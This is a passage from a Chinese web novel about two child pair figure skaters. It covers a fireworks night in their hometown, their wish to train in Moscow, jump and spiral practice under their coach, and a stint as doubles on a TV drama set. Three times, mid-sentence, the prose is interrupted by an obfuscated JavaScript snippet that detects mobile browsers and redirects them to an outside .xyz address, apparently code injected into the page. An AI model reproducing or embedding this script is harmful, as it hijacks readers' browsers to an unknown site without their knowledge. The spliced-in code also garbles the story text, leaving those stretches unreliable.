“贺嘉岁,它啄我袖子!” 好吧,这个家没她不行。 贺家很少支起餐桌,贺先生在上菜前,特意把桌椅擦了遍。 贺嘉岁对应逢年说:“这可是我们家的贵宾级待遇。” “好朴素的贵宾待遇。” 她一脚横在椅子上:“那你别坐。” “朴素是褒义词。” 勉强在就餐时岁月静好,贺先生感慨家里温馨。 “嘉岁不在,我像个空巢老人。” “现在有只鹦鹉了嘛。” 贺先生说:“它是暂住在这儿。” 花鸟乐园翻新,动物需要临时安置,被认养的鸟禽可以带回家,市民只需签署临时托管协议。 “原来是寄人篱下,我还以为是山大王。”应逢年幸灾乐祸。 他的袖口被啄破了洞,这是不共戴天之仇。 贺先生笑着提醒:“玩归玩,它的羽螨还没好全,别靠太近。” 吃完鸟粮,鹦鹉又开始吟唱,这回有力气扑棱翅膀。 它应和:“听见了没?离我远点。” 撞名就算了,说话还这么难听,应逢年捂着耳朵。 贺嘉岁放下碗筷,靠近鸟笼:“你要说吉利话。” 喉咙“咕咕”两声,机器开始倒带,鹦鹉检索词库。 “恭喜发财。” 应逢年变了脸色:“你还会说好话?” “利是逗来(红包拿来)。” 刚扬起的嘴角又垮下去。 他被一只鸟针对了。 …… 饭后压马路,贺先生带贺嘉岁和应逢年去了珠江边。 滨南十月的气温更像北京的七八月,晚风裹着湿热,蝉鸣此起彼伏。 “这里的霓虹比以前更亮。”贺嘉岁的眼里映着灯火。 明天是工作日,仍有游客为江景的盛名逗留,人越挤越多。 习以为常的阿伯离开临江公园,只留下象棋残局,说明天继续。 应逢年问:“干爸,我们为什么来这里?” 这里全然变成网红打卡地,他刚才险些踢倒手机直播的三脚架。 “带你们认认路。” 让人捉摸不透的一句话,孩子们云里雾里。 这条路他们很熟悉,几乎从小走到大。 有路人带着对新鲜事物的期待:“还有好位置。” 是滨南口音。 仔细听,周围还有不少滨南人。 大家挤在早无作用的老码头,看邮轮逐渐停在江心。 “到时间了,快开始吧。”有人喊。 难道有节目? 人潮往江边挤,贺嘉岁后悔没抢占先机,只能从人缝里看风景。 “需要我抱你吗?”她听见声音从头顶传来。 她转头看。 应逢年原本就比自己高半个脑袋,他一踮脚,差距就更大了。 “不用,我让我爸抱。” 她在狭小的空间环顾,爸爸不知何时与自己隔了两重山,声音传不过去。 “你要信任我,我现在把你托举得可稳当了。” “那是在训练。” 十月的天很热,贺嘉岁觉得空气稀薄,脸颊爬上其他颜色。 人们跟着提示逐渐齐声:3,2,1—— 一朵烟花盛放,炸开的金色光晕在坠落中,又迸发出更多璀璨。 随后是数不胜数的烟花升空。 光打在脸上,有许多个瞬间亮如白昼。 这是滨南为迎接祖国华诞准备的节目,夜幕挂上一句又一句祝福。 贺嘉岁抬头,怕风把星星点点吹进眼睛,只好微微眯着眼。 但视野越来越开阔。 她看见烟火在水中的倒影,像颗快速生长的树,枝桠被水波荡开,变成毫无形状的泼墨画。 她就这么被抱起来。 圈在腰上的手箍得紧,怕她随时跌入江里。 她收回目光,调侃说:“一个成功女人的背后,一定有个咬牙切齿的男人。” “没有咬牙切齿。” 贺嘉岁抬手利用表面的反光,让他看看清楚。 “我从不说谎。” 手表应声亮起,应逢年只看见屏幕上的信息。 “有人找你。”他说。 “那你把我放下来吧。” 应逢年还想证明自己:“我的体能好着呢。” 烟花秀逐渐收场,江上安静片刻,无人机的引擎嗡鸣穿破烟雾。 贺嘉岁任他托着,低头翻起消息栏。 是罗斯特科娃发来的邮件。 教师节时,她给对方发去祝福,不过没等到回信,她也忘记了这茬事。 罗斯特科娃没有联系自己的理由,总不能是祝一面之缘的别人的祖国生日快乐。 贺嘉岁点开邮件,文件夹里装了张图片,照片的背景很熟悉,国内外艺体教室的布置都大同小异。 她抬眼看了看罗斯特科娃附上的话:Gianna在教学中。 照片的主角是人,是妈妈。 她看不见妈妈的五官。 镜头里,只有一位背影挺拔的女性和一群打滚的孩子。 唯一能够获取的信息是,妈妈剪了齐耳短发。 人潮松散。 有应逢年助力,贺先生找到女儿毫不费力。 “还看吗?无人机秀很一般。” 贺嘉岁熄掉屏幕,掩饰说:“脚站麻了,我们回家吧。” 贺先生没听出破绽。 两个孩子在身后慢吞吞地走,一路眉来眼去。 “你压根就没站在地上,麻的是我的手臂。” “是你主动托我的。”贺嘉岁冲他做鬼脸,说他没苦硬吃。 应逢年找不到回怼的话,只能哼一声,以示骨气。 “但我感觉自己的力量有进步,说不定下一步就能解锁3组和4组托举。” “你还是先想想怎么保持螺旋线的拉力吧。” 江边的风混着街头糖水铺的味道,把人吹得不清醒。 贺嘉岁有些微醺,感慨一声:“好想去莫斯科。” 应逢年凝望着她。 贺先生三催四请,两个孩子到半夜还窝在沙发上看电视,美其名曰“把七天假期全补回来”。 “你们在训练基地也这么放肆?”贺先生有些生气,指了指走向十二点的挂钟。 贺嘉岁很亢奋,仗着两人成虎,回嘴说:“如果放假不能随心所欲,今天和昨天有什么区别。” 应逢年不敢说话,佩服她先一步跨入叛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953662|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逆的年纪。 无声的僵持中,贺先生选择生闷气:“那你们慢慢看。” 大灯一关,窗帘一拉,室内只有电视发出的微弱光源。 贺嘉岁跌回沙发。 她什么时候见过爸爸发火,怂里怂气地满地找拖鞋。 “贺嘉岁。” “嗯?” “我们有个去莫斯科的方法。” 她停下动作看他,不知他在说哪门子梦话。 “为什么要去莫斯科?”她问。 应逢年一噎:“你几个小时前才说过。” “哦,”贺嘉岁又踢掉拖鞋,身体在沙发上蜷成一团,“情绪上头的时候,确实会有这个想法。” 她想亲自去看看,莫斯科到底有什么好,能让妈妈一走十年。 但她又是个矛盾体,不认为自己对妈妈有太深的感情。 所以,与其说是为了某个人,不如说陌生的事物更有吸引力。 “你有什么办法?”她把话题绕回来。 “外训。” “外训?” 她听过这个词。 常希贻很久没在基地出现,国内比赛也没有她的影子。 林风致说,她被外教挑去外训了。 应逢年点头:“我们可以去莫斯科外训。” 这方法听着不太靠谱。 他们现在用着国家冬管中心拨给的资源,能有什么理由去外训。 …… 回到北京,应逢年就把想法告诉给辛教练。 得到的反应和贺嘉岁料想的差不多。 辛成林定定地看着他们,许久才憋出问句:“为什么外训?” 应逢年早有腹稿。 “听说常希贻外训出了很多三周跳,我们也想出三周跳。” 行政楼的夹克衫听到风声,亲自过来问候。 “你们年底有少锦赛,甚至还给自己接了一部戏,什么时候有空外训?” “明年休赛季。” 夹克衫摇头:“你们明年小升初,虽然十有八|九会直接去附中读书,但毕竟不是本地户籍,入学手续很麻烦,有必要留京应变。” 贺嘉岁问:“去一个寒假呢?” 外训有长有短,长的以年为单位。 短训的时间不会太长,像罗斯特科娃到天津开展为期一周的大师课,也算短训。 聊到专业的事,夹克衫把发言权还给辛成林。 辛成林客观讨论:“你们认为,短训的效果如何?” “常希贻最近练出了萨霍夫三周,效果应该很好。” “她去外训的根本目的是改刃,且一去半年,”辛成林直截了当,“我不认为你们能在一个寒假有大突破。” 贺嘉岁和应逢年的起步太晚。 没有从小打磨的童子功,即使他们在全力追赶大家的技术难度,但脚下的质量不能细看。 “我们去改改技术也行。” 辛成林拍了拍她的发顶:“短训只能发现而非解决问题,等我无法教授再多,才是你们另请高明的时候。” 他坚持认为,但凡自己还能倾囊相授,就没有另外投入成本的必要。 夹克衫简单总结几句,又向孩子们表达希望配合,风波勉强平息。 辛成林吹响集合的口哨,大家从四面八方汇聚。 “你俩终于潇洒够了。”林风致捏了捏贺嘉岁的手。 “还在聊什么?” 今天的辛教练格外严厉,张嘴就是二十圈步法,用刃不过关的圈数无效。 林风致差点提不上一口气:“你们又惹他了?” 她看了看贺嘉岁,又看了看应逢年,两人滑得认真,都没回答。 应逢年想了很久。 “你听懂教练说的话了吗?”他问。 “当然,”贺嘉岁点头,“教练说,只要我们顺利进入初中,就可以去外训。” 32. 做好被选择的准备 好消息,林风致在学冰两年后,终于掌握了五种一周跳和一周半。 辛成林请出仓库的家伙事:“从今天开始,你加入他们的队伍,用吊杆辅助跳跃。” 林风致直接坐在冰上,刀尾刮得冰面“咔咔”响。 “还要学两周跳啊。” 她总鼓励自己,跳出阿克塞尔就算完成职业使命。 但她现在被告知,1A只是开启第二阶段的垫脚石。 “老三样是必不可少的技术,即使你是冰舞运动员。” “那这冰舞运动员当的真憋屈。” 嘴上是这么说,林风致给自己扣上腰带,手法很熟练,好像昨天才脱下来。 贺嘉岁看她行云流水地穿戴,没来得及说:“现在是我的吊杆时间,你得先在陆地试一试固定吊杆。” “不碍事,我先看看她收转的习惯姿态。”辛成林倒任她准备。 一周跳从起跳到落冰很短暂,很多毛病无法体现,这些问题会在难度提升时逐渐显现。 他们原本就走得慢,更要走踏实。 初次尝试两周跳,林风致按感觉来,她想获得更充足的跳跃高度,就在起跳前深蹲降低重心。 结果是吊杆都无法抵抗的摔倒。 “重心压得太低,没有及时带回到旋转轴,”辛成林握着吊杆,一面身体力行地解释,“带腿时要转髋,才能让轴心稳定。” 苦口婆心一阵,从重心讲到盘腿,林风致听一半忘一半,该摔的还得摔。 这是学习的必经之路。 隔壁的贺嘉岁没有吊杆辅助,和应逢年找助教指导螺旋线,进展也缓慢。 “就到这里吧,”助教挠头,对贺嘉岁说,“你敢握住男伴的双手后仰并且保持数秒,已经不错了。” “但我一个月前就会后仰了。” “这个动作很危险,男伴还没办法用规尺步的点冰支撑你们之间连接的拉力,只能慢慢来。” 以月为单位,以年为单位,这个技术得依靠力量生长而稳定。 还是单跳最让人放心。 没有谁拖累谁,会就是会。 但今天,贺嘉岁有些怀疑自己的状态。 应逢年皱眉:“你穿护膝了吗?外点三周摔倒的冲击力很大。” “换了比较薄的护膝,不会太吃动作。” 贺嘉岁让他捏一捏胳膊,她连手肘都保护到位了。 “教练说,我们不着急练三周跳。” “但这是我们提升难度的突破口。” 相比棘手的旋转难度进入和难度姿态,她更喜欢跳跃。 反反复复巩固两周跳,起跳前的pre能控制在九十度以内,周数完全足够。 她在尝试一步一步增加周数,目前2T能勉强超过半周。 的确是最不辜负她的技术了。 今天是个例外。 林风致在场上跳踢踏舞,冰刀刮擦的声音四处可闻。 贺嘉岁被影响着摔了一连串,两周跳也偶尔站不稳。 应逢年也不负所望,和她一起表演全场巡回摔倒。 辛成林不打算放任,过来兴师问罪。 “放假玩得太开心?”他问。 贺嘉岁否认:“怎么可能,我们在滨南也没忘去冰场。” 这是实话。 在滨南一待四天,她和应逢年上了两次冰。 贺先生不想再当孤寡老人,次次到场陪同,甚至想亲自上冰体验。 只是因为年纪偏大,被工作人员死死挡在场外。 “那请给我一个退步的理由,”辛成林没有缓和神色,“你们连低级两周跳都能连摔八个。” 他方才一直在默数,他们的稳定性比心沉得还低。 贺嘉岁支吾出声:“要是林风致不摔,我就不会被影响。” 应逢年也接话:“要是她们不摔,我也不会被影响。” 总之,和自己无关。 林风致握着吊杆滑近,在一旁叹为观止,还好她凑上热闹,知道自己被扣上这么大一口锅。 “冰场有那么多人,每时每刻都有人摔倒。”她不服气。 辛成林颔首:“记住,没人会在场上迁就别人。” 赛场更是如此。 双人滑的练习人数多,场地拥挤,他们不能确保每个人都万无一失。 没有包场训练的条件,就必须学着适应环境。 教练得出结论,次日就把新计划投入节目训练。 “我负责笑?”林风致一头雾水。 万斯乐也不情愿:“我为什么负责鼓掌,好尴尬。” “这是培养你们的抗干扰能力,人人有份。” 不仅如此,辛教练还给俱乐部的小队员塞了好处,让他们在休息时间打开《超级飞侠》,外放到最大声。 这一定是冰场最吵的一天。 到下训,贺嘉岁的脑子还是嗡嗡的,赶也赶不走。 “金嗓子,我需要金嗓子。”林风致捞着板墙,像落水的人抓住浮木。 贺嘉岁递了瓶水,让她勉强恢复状态。 谁能想到训练结束,脚踝没被磨出水泡,嗓子先冒烟。 …… 回到寝室,林风致熬了川贝枇杷。 手机铃响,她看了眼留言信息,把勺子扔给贺嘉岁。 “又是我掌勺?” 她跟着中医世家的千金混日子,都快把自己混成熬药助理。 林风致抱歉地笑笑:“帮我看着火。” 她倒是跑得轻快。 度秒如年,贺嘉岁偶尔握着勺子搅拌,她不知道火候合不合适,怕药材糊底,索性把火调到最小。 窗外有窸窸窣窣的交谈声。 她走到窗台,看见林风致就在楼外,对面应该站着人,摸了把她的脑袋。 他们并肩走远,远离树叶的障碍。 贺嘉岁借路灯看清,男生是辛嵘。 她好像嗅到八卦,把嘴张得老大。 但转念一想,如果林风致的身边不是辛嵘,而站着别的谁,那才叫奇怪。 她重新回到电煮锅边。 哎,有人成双成对,有人成为煲药师傅,替他们看火。 川贝在翻滚,枇杷被药汁浸得看不清本色,贺嘉岁的心里打鼓。 自己和锅真的会相安无事吗? 打电话求助的片刻,救星终于回来。 林风致的脚步很缓,心情不如出去时好。 贺嘉岁问:“你们吵架了?” 林风致一愣,从镜中看见自己的失落。 “没有。” “你好像不高兴。” “可能是因为在特殊时期,”她打马虎眼,“你知道的,这个时候的女生总是阴晴不定。” 那也太喜怒无常了吧。 今天的贺嘉岁偏偏对“特殊时期”感兴趣。 她问:“姐姐,来例假就不会长高了吗?” 前几年的林风致似乎天天都在长个子,眼看从一米五长到一米六七。 但今年好像没大变化,她停在那个高度,舞蹈老师也停了清淡饮食的限制令。 林风致想了想:“大家都这么说。” “我的例假会在什么时候来呢。” 贺嘉岁佯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967851|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装思考,她不欢迎这东西的到来,反倒希望它越迟越好。 她还没长个子呢,要是身高就此定型,可要一辈子都矮人一头了。 她才不想当细细粒。 勺子滑过锅里的膏体,痕迹很快消失,林风致关掉电源,一人给盛了一碗。 “好东西,喝掉。”她命令。 跟着林风致,总有喝不完的补药。 贺嘉岁皱眉:“苦苦的。” 她以为全世界的川贝枇杷膏都像药店里的瓶装,那是她从小到大最爱吃的药,没病都要装病喝两口。 “药店里的含糖量高,”林风致捧着碗,很满意自己的手艺,“我不爱放蜂蜜和冰糖,枇杷叶的甘和川贝的苦味才最正宗。” 尤其在这个时节,没有应季的枇杷果,连果干都是酸酸的。 贺嘉岁做好心理准备,又尝试咽一口:“它比我的命都苦。” “我命才苦呢。” 这一次,林风致有话要说。 “你果然憋着心事。” “我的搭档可能又要飞走了。” “为什么?” 她顿了顿:“辛嵘想全力备战青锦赛,争取明年世青赛的名额。” 辛嵘在赛季开始前就年满17岁,符合升入成年组的年纪。 但青年组和成年组有重合的部分,他也能在青年组再待两年。 不过对比国际赛场,有竞争力的同龄选手基本选择去成年组练兵,甚至已经登上冬奥会的赛场。 留给他蛰伏的时间不多了。 贺嘉岁倚在床头:“我们国家好像很久没有男单出战世青赛了。” “两个赛季,”林风致说,“明年的世青赛只有一个名额,辛嵘想试一试。” 虽然还不知道是如何的备战法,但她能肯定,辛嵘一旦无法兼顾男单和冰舞,被放弃的会是后者。 “那你的少锦赛怎么办?” 林风致搅着勺子:“我可以先试试单人冰舞。” “单人冰舞是什么?” “金荞麦前辈告诉我,北美地区流行的冰上舞蹈可以一个人滑,他们国内还有专门的单冰比赛。” “北美和华夏的情况可不一样。” “我知道,我只是不能太依赖辛嵘,不能因为他的离开,就消沉不运作。” 这话她说得坦然,好像经过一番深思熟虑。 “这行得通吗?”贺嘉岁还是质疑。 她对冰舞知之甚少,对所谓的单人冰舞更是闻所未闻。 “至少我身在跨界组,不受规则限制,”林风致耸肩,“年底的少锦赛,我只报了自己的名字。” 她要一个人挣滑协的积分,慢慢融入精英组的大家庭。 贺嘉岁的表情有些耐人寻味。 她壮着胆子问:“是辛嵘影响了你吗?” 林风致最近不常偷懒,上吊杆比谁都勤快,皮囊里像换了个人。 林风致才不让别人夺走褒奖:“我只是在做好辛嵘选择我的准备。即使我的搭档不是他,我也能留下属于自己的东西。” 只有进步是实实在在的。 贺嘉岁为她的励志语言鼓掌。 “你突然就活明白了。” “我悟了很多天,不想让未来的自己为当下的选择后悔。” 林风致将药膏一饮而尽,起身又盛了碗。 寝室里一片和谐,偶尔有隔壁发出的微弱噪音。 贺嘉岁玩着玩笑:“你有没有兴趣当我的榜样?” “我不值得被学习,”林风致说,“我不热爱花滑,将来也不会喜欢。” 她可以肯定。 33. 找找冠军的自信 比少锦赛先来的,是选角导演。 男人减了肚子,刮了胡子,看起来容光焕发,贺嘉岁压根没认出来。 直到对方念出自己的名字,她心里一跳,还以为被换了便装的夹克衫通报。 对方的语气更像寒暄。 “小贺,最近练得怎么样?” 贺嘉岁防备地看着他,喉咙含糊地应了声。 应逢年翻译说:“单人技术不错,双人技术还在慢慢磨合。” “钱导,上车再讲吧。”一个女声从旁响起。 贺嘉岁循声看,来的不止选角导演,还有个年轻女生,脖颈间挂了工作牌,是剧组的场记。 “行,你们的行李收拾好了吗?” 钱导为人还不错,主动揽过两个行李箱,让孩子们两袖清风。 林风致看他们换下冰鞋,在冰场里挥手:“当演员出了名,可别忘了父老乡亲。” “你们一定要记得回来。”万斯乐和她一唱一和,像送村里状元离乡的老农民。 贺嘉岁受不了她们黏糊糊的告别,无奈地笑着说:“我们是去当替身,不是去当主角。” “但也会走很久。” “都没人能压住教练的脾气。” “我是什么脾气?” 辛成林看几个小姑娘戏瘾发作,挡住闸机外的风景,把她们赶回去上冰。 “这有什么好哭的?”应逢年看贺嘉岁真走了心,递上纸巾,自语道,“又不是回不来。” 以前那么多次天南海北的短暂分别,也没见心里大动干戈。 “我刚才想,要是我们去国外训练,会不会也像今天这样。” 原来是演习。 应逢年看着前路:“外训是八字还没一撇的事,干嘛要预支伤心。” 贺嘉岁吸了吸鼻子:“这不是刚收到护照嘛。” 他们没告诉教练和其他人。 在应逢年提出外训的第二天,他们就求着贺先生办理了护照,有效期五年,做好随时出发的准备。 今天刚收到邮递过来的护照本,难怪有些多愁善感。 搭上去剧组的专车,他们和场记挤在后座。 最开始无话可聊,车里落针可闻。 直到汽车驶进二环,走走停停。 “北京的交通啊。”钱导初来乍到,算是见到大城市的繁荣景象。 司机说:“这条路车道多,往常不见堵的。” 只是今日有外国政客进行国|事访问,长安街那一块采取管制措施,车流被分散过来。 导航说,距离目的地还有一个多小时。 “一个多小时,我们能出北京了吧。”应逢年惊讶。 钱导说:“是有些偏。” 剧组虽然同在北京,但和训练基地南辕北辙,他们可以眺望即将开始改造的首钢滑雪大跳台。 “小陈,你给他们讲讲工作。” 年轻女生闻言,打开文件袋,从中抽出一沓纸。 “这是你们拍摄的行程。” 行程单上是密密麻麻的表格,上面标记了主角在冰场的戏份,为了整合资源,堆在四天集中拍摄。 “他们是主角的名字?” 贺嘉岁瞅了眼,一堆名字后打着括号,批注“童”。 “这部剧是群像剧,不止男女主角,可能配角的节目也要你们上场。” 简言之,他们可能随时刷到新任务,必须在片场随时待命。 趁下车的空档,贺嘉岁和应逢年讲悄悄话:“这算不算诈骗?” 他们签好了合同,规定了工作内容和薪资,但实际工作量会比合同里的多。 她很确信自己的想法:“我记得,这种可以申请仲裁。” “那是什么?” “不知道,但我爸爸在工作时提到过。” 应逢年听得发愣。 他想不明白“仲裁”的意思,只觉得这个词语的程度很重,像要上法庭打架。 “没必要吧。”他说。 “当然没必要,”贺嘉岁看他被震慑住,旋即笑道,“我们是来体验生活。” …… 入组第一天,贺嘉岁和应逢年习惯性从后场进入内场。 赛时用作练功房和休息室的房间挂满门牌,道具间、化妆间……应有尽有。 连运动员上下场的走廊都堆满黑布覆盖的杂物。 脚下要避免踢碰,还要保护手里的鞋包,费好大一番功夫。 “你们来了,”还是昨天那个场记姐姐,今天换了个妆容,显得面色憔悴,“导演正在等你们。” “导演,是钱导吗?” “钱导是选角导演,导演是剧组的总指挥。” 听起来构成怪复杂。 贺嘉岁和应逢年并肩走,看冰场的板墙拆了一半,场边为了一堆人,正吵得不可开交。 “你要听专业人士的话,对吧?”钱导突然冲出人群,把矛头指向他们,“专业人士来了。” 贺嘉岁瞬间感觉到,数十道目光降临在身上,如芒在背。 “怎么回事。”她磨着嘴皮。 这气氛不太妙。 但在场的长辈们还挺客气,冲他俩笑得慈祥。 “两位老师怎么称呼?” 老师,是在叫他俩吗? 应逢年先回神:“我叫应逢年,她叫贺嘉岁。” “应老师和贺老师,我们有些问题想请教。” 贺嘉岁很难绷住表情。 他们两个还没毕业的小学生,被全剧组供成“老师”。 但他们的确担得起这个称呼。 接下来的时间,他们充当剧组的技术顾问,有什么答什么。 “我们的故事背景发生在平昌冬奥会后的北京周期,规则大致是怎样的?” “这个赛季的规则变动很大,比如男单自由滑的节目时长缩短,跳跃减少。”贺嘉岁回答。 “和双人滑项目相关的呢?” 她想了想:“跳跃的基础分值下降,技术执行分由±3变为±5。” 现场的人们有些糊涂。 应逢年概括道:“换句话讲,更注重节目完成度和艺术表现力,不盲目追求难度。” 他们也没想到,进组的第一个挑战是被抽问赛季规则。 贺嘉岁有些暗喜,这些是辛教练带着他们解读的,还划了重点背诵,居然能有用武之地。 还好在出行前,他们温习了一遍。 经此一轮问答,贺嘉岁和应逢年坐实了新得的名号,逢人就被喊“贺老师、应老师”。 应逢年被这一声声迷了耳朵,偶尔回应两声。 贺嘉岁学着大人摇头:“哎,我们会在冰上原形毕露。” 他们口中的老师,只是会跳两周跳的菜鸟罢了。 捱到傍晚,幼年主角的演员上冰拍摄,贺嘉岁和应逢年趁他们过戏的时间,有机会入场热身。 “比起演戏,还是滑冰更自由。” 他们已经在场外坐了半天。 除了剧组的偶尔发问,他们在更多时候没什么颜色,只能起身看看拍摄现场,偶尔在显示屏前指点一二。 他们挑出不少常识性错误。 “贺老师,应老师,你们可以给一个背景吗?” 贺嘉岁滑近,问道:“是什么意思?” “我们需要营造一个日常训练的环境,他们可以随意滑两步。” 原来是当背景板。 这没什么难度。 场中正在拍摄几位主角初始的戏份,虽然也有滑冰的镜头,但也是主角第一次接触冰面,还不需要他们出山。 导演没叫停,贺嘉岁牵着应逢年在短轴的另一端滑来滑去。 “反正也没有限制,我们应该可以练自己的技术吧?”应逢年想。 “对呀。” 谁会限制龙套的临时发挥。 也不知道演员们戏过得如何,他俩在自己的领地滑得开心,偶尔还有难以抑制的情绪。 “我的天呐,我仰下去了!”贺嘉岁的嘴角扬起,拍着应逢年,“你看见了吗?” “虽然姿态没保持住,距离提级要求也差很多,”应逢年大致比划了高度,“但这是个成功的螺旋线。” 他们终于有可以向教练交差的东西,但随后再尝试,都不如最初的那次满意。 “没有拍下来。”贺嘉岁懊悔。 “两位老师,”场边的录音师叫住他们,“这边准备正式拍摄,请收敛情绪,保持安静。” 被警告了。 他们不敢再张扬,继续埋头琢磨。 男伴规尺步点冰进转,女伴调整用刃,借离心力保持弧线。 一圈,两圈,在慢慢变好。 “你涨力量了吗?”贺嘉岁哑声问。 她用双手圈住应逢年的手臂,总觉得比以前更可靠。 声音也有些不一样了。 这好像叫变声期? 她恍然想起。 “应逢年,生日快乐。” 生日礼物是,来自好搭档的拥抱。 …… 在剧组的最后一天,任务重大。 继当替身、当顾问、当背景板后,他们还得到了新身份,当参赛选手。 是的,参赛选手。 贺嘉岁和应逢年刚配合拍了两个小时的分镜,大气还没喘匀,又听见导演的召唤。 “两位老师,你们方便客串场上比赛的选手吗?” 他们像砖似的被搬来搬去,哪有不方便的余地。 “怎么客串?”应逢年问。 “今天不是要拍摄主角的第一次比赛吗?我们想让你们在替主角完成拍摄后,补一段属于你们的戏份。” “我们也可以有戏份?”贺嘉岁眨着眼睛。 “对,”导演看了眼剧本,“你们作为单独的角色出现。” 训练馆到剧组的“比赛场馆”不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972407|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远,但转场的过程很难熬。 贺嘉岁一直在期待,他们作为单独的角色的那一刻。 “有那么高兴吗?”应逢年不解。 “当然,”贺嘉岁说,“场记姐姐问了我们的名字。” 这意味着,他们会登上片尾的演职员表。 新场馆很大,内场的橡胶地像刚铺的,观众席有两层之多。 贺嘉岁感叹,他们参加过大大小小的比赛,还没见过这么恢弘的观众席,自己像被困在环形山里。 会坐满人吗? 她好像无法想象排山倒海的样子,但那一定和珠江边的人潮涌动全然不同。 导演讲完戏,让演员跟着他们对一对技术动作,尽量别在镜头里穿帮。 回过神,贺嘉岁觉得耳边越来越吵。 一层看台开放,有不少观众填充入座位。 不对,应该是所谓的群演。 等到正式开始拍摄,二层观众席也全部坐满。 即使导演握着话筒要求安静,满场也有呼吸汇成的嘈杂。 “贺老师,别紧张,”小演员说,“他们都是拿钱办事,才不会关心我们在做什么。” 话是这样讲。 但这里是冰场,她的脚下蹬着冰鞋,她很难不让自己置身在被关注的怀疑里。 替演员完成技术特写的难度不大,有摄影师的配合,很快就能结束。 导演提醒:“两位老师,等下次音响报幕,你们就可以登场了。” 贺嘉岁和应逢年点头,他们刚才猜了一阵,剧组会给他们的龙套角色安什么名字。 名字一定不要大众,最好也别叫张三、李四。 道具组完成音响调试,剧组再次进入拍摄状态。 “有请本次比赛的卫冕冠军,贺嘉岁/应逢年。” 两人都在起步时犹疑。 导演叫停:“怎么了?” “没事。” “没反应过来。” 贺嘉岁和应逢年抢着话头回答。 导演看出他们的慌乱,安抚说:“放心,主角在这次比赛中没有胜过你们,你们是冠军。” 他给了两分钟,让他们找找冠军的自信,要演出对这枚金牌势在必得。 在冰场中心滑行,酝酿,贺嘉岁问:“该怎么表现势在必得?” 应逢年摇头:“我也没拿过。” 让全国排第三十二号位的双人滑组合表演自信,还真是棘手的问题。 “但你拿过‘小铁人’。” “你也拿过十佳运动员。” 在练习花滑之前,他们都曾登上过学校的主席台,获得从几千人脱颖而出的殊荣。 贺嘉岁环顾四周。 这里的观众应该不会比当时站满整个操场的运动员更多。 “我找到自信了。” …… “有请本次比赛的卫冕冠军,贺嘉岁/应逢年!” 再次行礼入场,群演的欢呼也更热切。 所有人都进入了拍摄状态。 音响播放着他们的自由滑曲目。 只是音乐是临时找的,因为版权问题,也不会在电视剧里呈现,只能用作节目表演的参考。 2组托举,捻转一周,抛2Lo。 即使他们明知自己是衬托主角的无关背景,也在认真完成每个技术动作。 他们的目的是为了完成节目。 两分钟过去,节目来到最后的前外螺旋线。 他们一改以前的燕式提刀,选择刚刚练出的后仰式标准姿态。 这是他们第一次在节目里尝试这个姿态。 拉力不算特别充分,贺嘉岁没有得到足够她仰身的离心力,但她绷紧核心,尽量不让腰臀掉在地上。 弧线马马虎虎,但前外螺旋线的第一次实践宣告成功。 最后的华尔兹舞步,贺嘉岁几乎要蹦起来,应逢年疯狂按着她,才勉强把她拽回地面。 音乐结束。 观众席响起掌声,给场上还不错的表演,给即将下班的自己。 “这条怎么样?一镜到底。”工作人员们围住导演,回看他们的表现。 “我们可以再补一条螺旋线吗?”贺嘉岁问,“我觉得身为冠军,这个技术还可以做得更好。” 导演想了想:“如果你们愿意,也行。” “已经适应这个身份了吗?”应逢年在她身边亦步亦趋。 贺嘉岁不知他指的是演员还是冠军,她统统回复:“游刃有余。” …… 11月11日,贺嘉岁把这天写进了在日记本。 [我和应逢年完成了前外螺旋线,站上了“比赛”的最高领奖台。 但这是电视剧,主角不是我们,除了脚下的冰鞋,所有东西都最终还给了道具组。 不过在灯光师关闭光源前,我将胸前的奖牌对上那束光,它说: 它知道我的野心,它会等我。] 34. 保守和功利心 对剧组生活最好奇的是林风致和万斯乐。 “你们见到主演了吗?”万斯乐问。 她平时会留意娱乐圈资讯,眼熟不少明星大腕,知道这部剧的班底不错,想打听打听。 贺嘉岁摇头:“我们接触的都是小演员,不过听说演教练的是戏骨,只是我和应逢年都不认识。” 林风致笑骂万斯乐肤浅,关切道:“这几天过得怎么样?” “拿了个冠军。” 她没反应过来,惊讶她闷声干大事:“什么冠军?” 贺嘉岁打算透露自己从替身晋升到龙套的故事,转念想到那纸合同。 她有保密的义务。 最终只是耸肩:“我只能告诉你,我们拿着替身的工资,在剧组打了四份工。” 临走前,导演还希望他们继续跟组——和孩子们说话,不需要弯弯绕绕的时间成本。 但贺嘉岁和应逢年不约而同地拒绝。 他们有更重要的事情去做。 半个月后就是全国少年锦标赛。 “金前辈来不了吗?”贺嘉岁看辛教练握着电话回来,满脸愁色。 “她最近不在北京。” 